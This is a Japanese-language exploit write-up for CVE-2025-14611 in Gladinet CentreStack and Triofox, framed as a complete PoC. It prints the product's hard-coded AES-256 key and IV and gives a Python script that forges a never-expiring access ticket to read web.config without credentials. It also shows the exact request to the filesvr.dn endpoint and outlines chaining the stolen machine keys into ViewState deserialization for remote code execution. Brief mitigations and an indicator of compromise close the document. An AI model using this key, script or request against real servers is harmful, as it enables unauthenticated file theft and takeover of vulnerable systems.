CVE-2025-14611 CentreStack および Triofox 完全なPoc/Exploit
この脆弱性は、Gladinet CentreStack および Triofox 製品におけるハードコードされた暗号鍵に起因し、偽造されたアクセスチケットを通じて任意のファイル読み取りを可能にします。AES-256 暗号化の実装では、アプリケーションのバイナリ(GladCtrl64.dll)に直接埋め込まれた静的で不変の鍵が使用されており、これらの鍵を抽出した攻撃者は以下のことを実現できます。
この脆弱性は、バージョン 16.12.10420.56791 より前のすべての Gladinet CentreStack および Triofox バージョンに影響し、少なくとも 2025 年 11 月以降、実際に悪用されています。
脆弱性は、GladCtrl64.dll における暗号鍵の生成と保存方法に起因します。GenerateSecKey および GenerateSecKey1 関数は、AES 暗号鍵と初期化ベクトル(IV)を提供する役割を担っています。
鍵生成フロー:
CentreStack サーバーアプリケーションが起動すると、SysKeyMgr クラスが AccessKeyMgr64.GetSysEncKey を呼び出し、これが 内の を呼び出します。この関数は次のようになります。
GladCtrl64.dllGenerateSecKeyPSTR sub_180001000(wchar16* arg1)
{
int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0,
lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr,
cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
if (cbMultiByte != 0) {
PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
if (lpMultiByteStr != 0) {
if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1,
cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte,
lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
return lpMultiByteStr;
sub_180001290(lpMultiByteStr);
}
}
return nullptr;
}
この関数は、Windows API WideCharToMultiByte を使用して UTF-16LE エンコードされた文字列を UTF-8 に変換します(コードページ 0xfde9)。ソースデータは 2 つの静的メモリ位置に格納されています。
重要な発見: これらの文字列は、ソフトウェアのインストール間で決して変化しません。GenerateSecKey という関数名は誤解を招きます。動的に鍵を生成するのではなく、バイナリ内の既存の静的文字列を単に返すだけです。
リバースエンジニアリング解析により、GladCtrl64.dll の .data セクションからハードコードされた鍵が抽出されました。
メモリ位置 0x18000c000 (鍵ソース):
0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...
UTF-16LE から UTF-8 にデコードすると、次の中国語テキストが生成されます。
不过,调查也显示,日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...
メモリ位置 0x18000c2c0 (IV ソース):
6d 6f 44 72 69 76 65 00 // "moDriv" in ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...
デコードすると、次のようになります。
moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...
最終的な暗号鍵:
アプリケーションは、UTF-8 エンコードされた鍵ソースの最初の 32 バイトを AES-256 鍵として使用し、UTF-8 エンコードされた IV ソースの最初の 16 バイトを初期化ベクトルとして使用します。
AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV: 6d6f4472697665e381afe38081e38389
この脆弱性は、filesvr.dn HTTP ハンドラを通じて悪用されます。このハンドラは GladinetStorage.FileDownloadHandler クラスにマッピングされており、クエリパラメータ t で渡された暗号化アクセスチケットを処理します。
アクセスチケットの構造:
アクセスチケットは、AES-256-CBC で暗号化された改行区切りのフィールドです。
行 0: ファイルパス(サーバー上の絶対パス)
行 1: ユーザー名(偽装する Windows アカウント)
行 2: パスワード(そのアカウントの資格情報)
行 3: タイムスタンプ(チケット作成時刻)
復号プロセス:
t パラメータを受け取り、カスタムサニタイズを実行します(URL 安全な文字を置換: : → +、| → /)AccessTicket.Decrypt が呼び出され、静的 SysKey(最初の 32 バイト)と SysKey1(最初の 16 バイト)が取得されますタイムスタンプ検証のバイパス:
ハンドラはチケットのタイムスタンプと現在のサーバー時刻を比較します。チケットが 4 時間より古い場合は拒否されます。しかし、攻撃者はタイムスタンプを西暦 9999 年に設定することで、決して期限切れにならないチケットを作成できます。
9999-11-27 14:52:04.009217
これにより、無期限に再利用可能な永続的なバックドアが作成されます。
復号後、ハンドラはユーザー名とパスワードフィールドを抽出し、偽装コンテキストの初期化を試みます。重要な脆弱性: 両方のフィールドが空文字列の場合、偽装ロジックは失敗し、IIS アプリケーションプール ID にフォールバックします。
これにより、認証なしでの任意のファイル読み取りが可能になります。アプリケーションは昇格された権限で実行されますが、有効な資格情報は必要ありません。
悪意のあるチケットの例:
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[空]
[空]
9999-11-27 14:52:04.009217
2025 年 11 月以降、活発な悪用が観測されています。攻撃者は次のパターンに従います。
ステップ 1: アクセスチケットの偽造
抽出した鍵を使用して、攻撃者は web.config を対象とした暗号化チケットを作成します。
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')
ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')
ステップ 2: 悪意のあるリクエストの送信
偽造されたチケットは脆弱なエンドポイントに送信されます。
GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com
ステップ 3: マシンキーの抽出
レスポンスには、マシンキーを含む web.config ファイルが含まれます。
<machineKey
validationKey="ABC123..."
decryptionKey="DEF456..."
validation="SHA1"
decryption="AES"
/>
ステップ 4: CVE-2025-30406 との連鎖
これらのマシンキーにより ViewState デシリアライゼーション攻撃が可能になり、リモートコード実行に至ります。攻撃者は抽出したキーで署名された悪意のある ViewState ペイロードを作成し、完全なシステム侵害を達成します。
観測された悪用試行(2025 年 12 月)から:
攻撃者からの暗号化チケット:
vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL|372varAu
復号された内容:
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[空]
[空]
9999-11-27 14:52:04.009217
攻撃元: IP アドレス 147.124.216[.]205
被害組織: 医療、テクノロジー、プロフェッショナルサービスの各セクターで 9 件の確定被害
攻撃のタイムライン: 2025 年 11 月に最初の悪用試行が発生し、2025 年 12 月にエスカレート
CVE-2025-14611 は、暗号鍵管理における重大な欠陥を示しています。静的で不変の鍵をアプリケーションバイナリに直接埋め込むことにより、Gladinet はすべてのインストールで機能する万能マスターキーを作成してしまいました。この脆弱性は、いくつかの深刻なセキュリティ上の失敗を明らかにしています。
緩和策の推奨事項:
web.config のマシンキーをローテーションする/storage/filesvr.dn へのアクセスと不審な t パラメータを監視するvghpI7EToZUDIZDdprSubL3mTZ2(web.config パスの暗号化表現)についてログを検索する侵害指標:
次の文字列を含む HTTP リクエスト:
/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2
このサブストリングは、web.config 取得のためにこの脆弱性を悪用しようとする試みを一意に識別します。